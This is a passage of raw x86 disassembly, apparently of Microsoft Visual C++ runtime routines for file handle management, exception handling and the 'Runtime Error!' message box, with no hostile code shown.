pop ecx cmp esi, ebx jnz short loc_41F5A0 xor esi, esi jmp short loc_41F5AB ; --------------------------------------------------------------------------- loc_41F5A0: ; CODE XREF: ___:0041F59Aj push ebp push edi push esi call sub_417390 add esp, 0Ch loc_41F5AB: ; CODE XREF: ___:0041F59Ej push edi nop call near ptr 25E0CCEh mov eax, esi jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F5B6: ; CODE XREF: ___:0041F4C6j ; ___:0041F4EEj ... xor eax, eax loc_41F5B8: ; CODE XREF: ___:0041F563j ; ___:0041F5B4j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_41F5DF push 1Bh call sub_419CDA pop ecx loc_41F5DF: ; CODE XREF: ___:0041F5D5j mov dword_48B340, esi mov dword_48B440, 20h lea eax, [esi+100h] loc_41F5F5: ; CODE XREF: ___:0041F611j cmp esi, eax jnb short loc_41F613 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_48B340 add esi, 8 add eax, 100h jmp short loc_41F5F5 ; --------------------------------------------------------------------------- loc_41F613: ; CODE XREF: ___:0041F5F7j lea eax, [esp+10h] push eax call near ptr 2820000h nop cmp word ptr [esp+42h], 0 jz loc_41F6EF mov eax, [esp+44h] test eax, eax jz loc_41F6EF mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41F649 mov esi, eax loc_41F649: ; CODE XREF: ___:0041F645j cmp dword_48B440, esi jge short loc_41F6A3 mov edi, offset dword_48B344 loc_41F656: ; CODE XREF: ___:0041F699j push 100h call sub_417B89 test eax, eax pop ecx jz short loc_41F69D add dword_48B440, 20h mov [edi], eax lea ecx, [eax+100h] loc_41F674: ; CODE XREF: ___:0041F68Ej cmp eax, ecx jnb short loc_41F690 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41F674 ; --------------------------------------------------------------------------- loc_41F690: ; CODE XREF: ___:0041F676j add edi, 4 cmp dword_48B440, esi jl short loc_41F656 jmp short loc_41F6A3 ; --------------------------------------------------------------------------- loc_41F69D: ; CODE XREF: ___:0041F663j mov esi, dword_48B440 loc_41F6A3: ; CODE XREF: ___:0041F64Fj ; ___:0041F69Bj xor edi, edi test esi, esi jle short loc_41F6EF loc_41F6A9: ; CODE XREF: ___:0041F6EDj mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41F6E6 mov cl, [ebp+0] test cl, 1 jz short loc_41F6E6 test cl, 8 jnz short loc_41F6C8 push eax nop call near ptr 25E0000h test eax, eax jz short loc_41F6E6 loc_41F6C8: ; CODE XREF: ___:0041F6BBj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_48B340[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41F6E6: ; CODE XREF: ___:0041F6AEj ; ___:0041F6B6j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41F6A9 loc_41F6EF: ; CODE XREF: ___:0041F624j ; ___:0041F630j ... xor ebx, ebx loc_41F6F1: ; CODE XREF: ___:0041F754j mov eax, dword_48B340 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41F74C test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41F70C push 0FFFFFFF6h pop eax jmp short loc_41F716 ; --------------------------------------------------------------------------- loc_41F70C: ; CODE XREF: ___:0041F705j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41F716: ; CODE XREF: ___:0041F70Aj push eax call near ptr 25E07C1h nop mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41F73B push edi nop call near ptr 25E0000h test eax, eax jz short loc_41F73B and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41F741 loc_41F73B: ; CODE XREF: ___:0041F722j ; ___:0041F72Dj or byte ptr [esi+4], 40h jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F741: ; CODE XREF: ___:0041F739j cmp eax, 3 jnz short loc_41F750 or byte ptr [esi+4], 8 jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F74C: ; CODE XREF: ___:0041F6FDj or byte ptr [esi+4], 80h loc_41F750: ; CODE XREF: ___:0041F73Fj ; ___:0041F744j ... inc ebx cmp ebx, 3 jl short loc_41F6F1 push dword_48B440 nop call near ptr 25E0956h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F774 proc near ; DATA XREF: sub_41CFF1+Ao ; sub_41D120+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41F814 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41F7A7: ; CODE XREF: sub_41F774+90j cmp esi, 0FFFFFFFFh jz short loc_41F80D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41F7FB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41F7FB js short loc_41F806 mov edi, [ebx+8] push ebx call sub_4181A0 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4181E2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_418276 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41F7FB: ; CODE XREF: sub_41F774+40j ; sub_41F774+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41F7A7 ; --------------------------------------------------------------------------- loc_41F806: ; CODE XREF: sub_41F774+54j mov eax, 0 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F80D: ; CODE XREF: sub_41F774+36j mov eax, 1 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F814: ; CODE XREF: sub_41F774+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4181E2 add esp, 8 pop ebp mov eax, 1 loc_41F829: ; CODE XREF: sub_41F774+97j ; sub_41F774+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F774 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4181E2 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41F84C proc near ; CODE XREF: sub_419CDA+9p mov eax, dword_48A068 cmp eax, 1 jz short loc_41F863 test eax, eax jnz short locret_41F884 cmp dword_439594, 1 jnz short locret_41F884 loc_41F863: ; CODE XREF: sub_41F84C+8j push 0FCh call sub_41F885 mov eax, dword_48A1D4 pop ecx test eax, eax jz short loc_41F879 call eax loc_41F879: ; CODE XREF: sub_41F84C+29j push 0FFh call sub_41F885 pop ecx locret_41F884: ; CODE XREF: sub_41F84C+Cj ; sub_41F84C+15j retn sub_41F84C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F885 proc near ; CODE XREF: sub_419CDA+12p ; sub_41F84C+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43BC28 loc_41F898: ; CODE XREF: sub_41F885+20j cmp edx, [eax] jz short loc_41F8A7 add eax, 8 inc ecx cmp eax, offset off_43BCB8 jl short loc_41F898 loc_41F8A7: ; CODE XREF: sub_41F885+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43BC28[esi] jnz loc_41F9D5 mov eax, dword_48A068 cmp eax, 1 jz loc_41F9AF test eax, eax jnz short loc_41F8D8 cmp dword_439594, 1 jz loc_41F9AF loc_41F8D8: ; CODE XREF: sub_41F885+44j cmp edx, 0FCh jz loc_41F9D5 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2650000h test eax, eax jnz short loc_41F90F lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_4179C0 pop ecx pop ecx loc_41F90F: ; CODE XREF: sub_41F885+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_417AB0 inc eax pop ecx cmp eax, 3Ch jbe short loc_41F952 lea eax, [ebp+var_1A4] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_418C10 add esp, 10h loc_41F952: ; CODE XREF: sub_41F885+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_4179C0 lea eax, [ebp+var_A0] push edi push eax call sub_4179D0 lea eax, [ebp+var_A0] push offset asc_424BA8 ; "\n\n" push eax call sub_4179D0 push off_43BC2C[esi] lea eax, [ebp+var_A0] push eax call sub_4179D0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_42105F add esp, 2Ch pop edi jmp short loc_41F9D5 ; --------------------------------------------------------------------------- loc_41F9AF: ; CODE XREF: sub_41F885+3Cj ; sub_41F885+4Dj lea eax, [ebp+arg_0] lea esi, off_43BC2C[esi] push 0 push eax push dword ptr [esi] call sub_417AB0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 25E07C1h push eax nop call near ptr 2630000h loc_41F9D5: ; CODE XREF: sub_41F885+2Ej ; sub_41F885+59j ... pop esi leave retn sub_41F885 endp ; =============== S U B R O U T I N E ======================================= sub_41F9D8 proc near ; CODE XREF: sub_419D23+6Cp ; sub_41E248+32p ... arg_0 = dword ptr 4 inc dword_48A1D8 push 1000h call sub_417B89 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41FA01 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41FA12 ; --------------------------------------------------------------------------- loc_41FA01: ; CODE XREF: sub_41F9D8+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41FA12: ; CODE XREF: sub_41F9D8+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41F9D8 endp ; =============== S U B R O U T I N E ======================================= sub_41FA1C proc near ; CODE XREF: sub_419D23+61p ; sub_41A8A2+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_48B440 jb short loc_41FA2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41FA2B: ; CODE XREF: sub_41FA1C+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_48B340[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41FA1C endp ; =============== S U B R O U T I N E ======================================= sub_41FA42 proc near ; DATA XREF: ___:00426020o mov eax, dword_48B320 push esi push 14h test eax, eax pop esi jnz short loc_41FA56 mov eax, 200h jmp short loc_41FA5C ; --------------------------------------------------------------------------- loc_41FA56: ; CODE XREF: sub_41FA42+Bj cmp eax, esi jge short loc_41FA61 mov eax, esi loc_41FA5C: ; CODE XREF: sub_41FA42+12j mov dword_48B320, eax loc_41FA61: ; CODE XREF: sub_41FA42+16j push 4 push eax call sub_4210E8 pop ecx mov dword_48A310, eax test eax, eax pop ecx jnz short loc_41FA95 push 4 push esi mov dword_48B320, esi call sub_4210E8 pop ecx mov dword_48A310, eax test eax, eax pop ecx jnz short loc_41FA95 push 1Ah call sub_419CDA pop ecx loc_41FA95: ; CODE XREF: sub_41FA42+30j ; sub_41FA42+49j xor ecx, ecx mov eax, offset off_43BCB8 loc_41FA9C: ; CODE XREF: sub_41FA42+6Ej mov edx, dword_48A310 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43BF38 jl short loc_41FA9C xor edx, edx mov ecx, offset dword_43BCC8 loc_41FAB9: ; CODE XREF: sub_41FA42+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_48B340[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41FAD6 test eax, eax jnz short loc_41FAD9 loc_41FAD6: ; CODE XREF: sub_41FA42+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41FAD9: ; CODE XREF: sub_41FA42+92j add ecx, 20h inc edx cmp ecx, offset dword_43BD28 jl short loc_41FAB9 pop esi retn sub_41FA42 endp ; =============== S U B R O U T I N E ======================================= sub_41FAE7 proc near ; DATA XREF: ___:00426030o ; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES call sub_41A82C cmp byte_48A054, 0 jz short locret_41FAFA jmp loc_421199 ; --------------------------------------------------------------------------- locret_41FAFA: ; CODE XREF: sub_41FAE7+Cj retn sub_41FAE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FAFB proc near ; CODE XREF: sub_419E38+2D4p ; sub_419E38+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41FB07 pop ebp retn ; --------------------------------------------------------------------------- loc_41FB07: ; CODE XREF: sub_41FAFB+8j cmp dword_48A0A8, 0 jnz short loc_41FB22 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41FB54 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41FB22: ; CODE XREF: sub_41FAFB+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_4397AC push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_48A0B8 nop call near ptr 27A0000h test eax, eax jz short loc_41FB54 cmp [ebp+arg_0], 0 jz short loc_41FB61 loc_41FB54: ; CODE XREF: sub_41FAFB+1Ej ; sub_41FAFB+51j mov dword_48A014, 2Ah or eax, 0FFFFFFFFh loc_41FB61: ; CODE XREF: sub_41FAFB+57j pop ebp retn sub_41FAFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FB63 proc near ; CODE XREF: sub_41A642+5Ep ; sub_41EB6C+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424BE8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_48A1DC xor ebx, ebx cmp eax, ebx jnz short loc_41FBD2 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi call near ptr 25D0000h nop test eax, eax jz short loc_41FBB0 mov eax, esi jmp short loc_41FBCD ; --------------------------------------------------------------------------- loc_41FBB0: ; CODE XREF: sub_41FB63+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_43C824 push esi push ebx call near ptr 25D076Bh nop test eax, eax jz loc_41FC98 push 2 pop eax loc_41FBCD: ; CODE XREF: sub_41FB63+4Bj mov dword_48A1DC, eax loc_41FBD2: ; CODE XREF: sub_41FB63+2Fj cmp eax, 2 jnz short loc_41FBFB mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_41FBE3 mov eax, dword_48A0A8 loc_41FBE3: ; CODE XREF: sub_41FB63+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 25D076Bh jmp loc_41FC9A ; --------------------------------------------------------------------------- loc_41FBFB: ; CODE XREF: sub_41FB63+72j cmp eax, 1 jnz loc_41FC98 cmp [ebp+arg_10], ebx jnz short loc_41FC11 mov eax, dword_48A0B8 mov [ebp+arg_10], eax loc_41FC11: ; CODE XREF: sub_41FB63+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2620000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_41FC98 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_417330 add esp, 0Ch jmp short loc_41FC67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41FC67: ; CODE XREF: sub_41FB63+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41FC98 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2620000h cmp eax, ebx jz short loc_41FC98 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 25D0000h jmp short loc_41FC9A ; --------------------------------------------------------------------------- loc_41FC98: ; CODE XREF: sub_41FB63+61j ; sub_41FB63+9Bj ... xor eax, eax loc_41FC9A: ; CODE XREF: sub_41FB63+93j ; sub_41FB63+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41FB63 endp ; =============== S U B R O U T I N E ======================================= sub_41FCAC proc near ; CODE XREF: sub_41FEC6:loc_42003Ep push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_48B340 loc_41FCBB: ; CODE XREF: sub_41FCAC+48j mov eax, [ecx] test eax, eax jz short loc_41FCF8 lea edx, [eax+100h] loc_41FCC7: ; CODE XREF: sub_41FCAC+28j cmp eax, edx jnb short loc_41FCE7 test byte ptr [eax+4], 1 jz short loc_41FCD6 add eax, 8 jmp short loc_41FCC7 ; --------------------------------------------------------------------------- loc_41FCD6: ; CODE XREF: sub_41FCAC+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41FD3B loc_41FCE7: ; CODE XREF: sub_41FCAC+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_48B440 jl short loc_41FCBB jmp short loc_41FD3B ; --------------------------------------------------------------------------- loc_41FCF8: ; CODE XREF: sub_41FCAC+13j mov esi, 100h push esi call sub_417B89 test eax, eax pop ecx jz short loc_41FD3B add dword_48B440, 20h lea ecx, ds:48B340h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41FD1E: ; CODE XREF: sub_41FCAC+88j cmp eax, edx jnb short loc_41FD36 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41FD1E ; --------------------------------------------------------------------------- loc_41FD36: ; CODE XREF: sub_41FCAC+74j shl edi, 5 mov ebx, edi loc_41FD3B: ; CODE XREF: sub_41FCAC+39j ; sub_41FCAC+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41FCAC endp ; =============== S U B R O U T I N E ======================================= sub_41FD41 proc near ; CODE XREF: sub_41FEC6+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_48B440 push edi jnb short loc_41FDA1 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:48B340h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41FDA1 cmp dword_439594, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41FD97 sub eax, 0 jz short loc_41FD8E dec eax jz short loc_41FD89 dec eax jnz short loc_41FD97 push ebx push 0FFFFFFF4h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD89: ; CODE XREF: sub_41FD41+3Ej push ebx push 0FFFFFFF5h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD8E: ; CODE XREF: sub_41FD41+3Bj push ebx push 0FFFFFFF6h loc_41FD91: ; CODE XREF: sub_41FD41+46j ; sub_41FD41+4Bj call near ptr 25C0B44h nop loc_41FD97: ; CODE XREF: sub_41FD41+36j ; sub_41FD41+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_41FDB5 ; --------------------------------------------------------------------------- loc_41FDA1: ; CODE XREF: sub_41FD41+Cj ; sub_41FD41+28j and dword_48A018, 0 mov dword_48A014, 9 or eax, 0FFFFFFFFh loc_41FDB5: ; CODE XREF: sub_41FD41+5Ej pop edi pop esi retn sub_41FD41 endp ; =============== S U B R O U T I N E ======================================= sub_41FDB8 proc near ; CODE XREF: sub_41A6B7+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_48B440 push edi jnb short loc_41FE1B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:48B340h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41FE1B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41FE1B cmp dword_439594, 1 jnz short loc_41FE11 xor eax, eax sub ecx, eax jz short loc_41FE08 dec ecx jz short loc_41FE03 dec ecx jnz short loc_41FE11 push eax push 0FFFFFFF4h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE03: ; CODE XREF: sub_41FDB8+41j push eax push 0FFFFFFF5h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE08: ; CODE XREF: sub_41FDB8+3Ej push eax push 0FFFFFFF6h loc_41FE0B: ; CODE XREF: sub_41FDB8+49j ; sub_41FDB8+4Ej nop call near ptr 25C0B44h loc_41FE11: ; CODE XREF: sub_41FDB8+38j ; sub_41FDB8+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_41FE2F ; --------------------------------------------------------------------------- loc_41FE1B: ; CODE XREF: sub_41FDB8+Cj ; sub_41FDB8+2Aj ... and dword_48A018, 0 mov dword_48A014, 9 or eax, 0FFFFFFFFh loc_41FE2F: ; CODE XREF: sub_41FDB8+61j pop edi pop esi retn sub_41FDB8 endp ; =============== S U B R O U T I N E ======================================= sub_41FE32 proc near ; CODE XREF: sub_41A6B7+32p ; sub_41A6B7+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_48B440 jnb short loc_41FE5A mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_48B340[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41FE5A mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41FE5A: ; CODE XREF: sub_41FE32+Aj ; sub_41FE32+23j and dword_48A018, 0 mov dword_48A014, 9 or eax, 0FFFFFFFFh retn sub_41FE32 endp ; =============== S U B R O U T I N E ======================================= sub_41FE6F proc near ; CODE XREF: sub_41A795+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_48B440 jnb short loc_41FEB8 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_48B340[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41FEB8 push eax call sub_41FE32 pop ecx push eax nop call near ptr 25C0614h test eax, eax jnz short loc_41FEAD call near ptr 264030Ch nop jmp short loc_41FEAF ; --------------------------------------------------------------------------- loc_41FEAD: ; CODE XREF: sub_41FE6F+34j xor eax, eax loc_41FEAF: ; CODE XREF: sub_41FE6F+3Cj test eax, eax jz short locret_41FEC5 mov dword_48A018, eax loc_41FEB8: ; CODE XREF: sub_41FE6F+Aj ; sub_41FE6F+22j mov dword_48A014, 9 or eax, 0FFFFFFFFh locret_41FEC5: ; CODE XREF: sub_41FE6F+42j retn sub_41FE6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEC6 proc near ; CODE XREF: sub_41A96C+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41FEEC mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41FEF7 ; --------------------------------------------------------------------------- loc_41FEEC: ; CODE XREF: sub_41FEC6+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41FEF7: ; CODE XREF: sub_41FEC6+24j mov eax, 8000h test ecx, eax jnz short loc_41FF11 test ch, 40h jnz short loc_41FF0D cmp dword_48A2E8, eax jz short loc_41FF11 loc_41FF0D: ; CODE XREF: sub_41FEC6+3Dj or [ebp+var_1], 80h loc_41FF11: ; CODE XREF: sub_41FEC6+38j ; sub_41FEC6+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41FF49 dec eax jz short loc_41FF40 dec eax jz short loc_41FF37 loc_41FF22: ; CODE XREF: sub_41FEC6+9Fj ; sub_41FEC6+E8j ... mov dword_48A014, 16h mov dword_48A018, ebx jmp loc_42015C ; --------------------------------------------------------------------------- loc_41FF37: ; CODE XREF: sub_41FEC6+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF40: ; CODE XREF: sub_41FEC6+57j mov [ebp+var_C], 40000000h jmp short loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF49: ; CODE XREF: sub_41FEC6+54j mov [ebp+var_C], 80000000h loc_41FF50: ; CODE XREF: sub_41FEC6+78j ; sub_41FEC6+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41FF7E cmp eax, 20h jz short loc_41FF75 cmp eax, 30h jz short loc_41FF6C cmp eax, 40h jnz short loc_41FF22 mov [ebp+var_10], esi jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF6C: ; CODE XREF: sub_41FEC6+9Aj mov [ebp+var_10], 2 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF75: ; CODE XREF: sub_41FEC6+95j mov [ebp+var_10], 1 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF7E: ; CODE XREF: sub_41FEC6+90j mov [ebp+var_10], ebx loc_41FF81: ; CODE XREF: sub_41FEC6+A4j ; sub_41FEC6+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41FFCB jz short loc_41FFC6 cmp ecx, ebx jz short loc_41FFC6 cmp ecx, edi jz short loc_41FFBD cmp ecx, 200h jz short loc_41FFE4 cmp ecx, 300h jnz loc_41FF22 mov [ebp+var_8], 2 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFBD: ; CODE XREF: sub_41FEC6+D8j mov [ebp+var_8], 4 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFC6: ; CODE XREF: sub_41FEC6+D0j ; sub_41FEC6+D4j mov [ebp+var_8], esi jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFCB: ; CODE XREF: sub_41FEC6+CEj cmp ecx, 500h jz short loc_41FFED cmp ecx, 600h jz short loc_41FFE4 cmp ecx, edx jz short loc_41FFED jmp loc_41FF22 ; --------------------------------------------------------------------------- loc_41FFE4: ; CODE XREF: sub_41FEC6+E0j ; sub_41FEC6+113j mov [ebp+var_8], 5 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFED: ; CODE XREF: sub_41FEC6+10Bj ; sub_41FEC6+117j mov [ebp+var_8], 1 loc_41FFF4: ; CODE XREF: sub_41FEC6+F5j ; sub_41FEC6+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_420013 mov ecx, dword_48A01C not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_420013 push 1 pop esi loc_420013: ; CODE XREF: sub_41FEC6+138j ; sub_41FEC6+148j test al, 40h jz short loc_420021 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_420021: ; CODE XREF: sub_41FEC6+14Fj test ah, 10h jz short loc_420028 or esi, edi loc_420028: ; CODE XREF: sub_41FEC6+15Ej test al, 20h jz short loc_420034 or esi, 8000000h jmp short loc_42003E ; --------------------------------------------------------------------------- loc_420034: ; CODE XREF: sub_41FEC6+164j test al, 10h jz short loc_42003E or esi, 10000000h loc_42003E: ; CODE XREF: sub_41FEC6+16Cj ; sub_41FEC6+170j call sub_41FCAC mov ebx, eax or 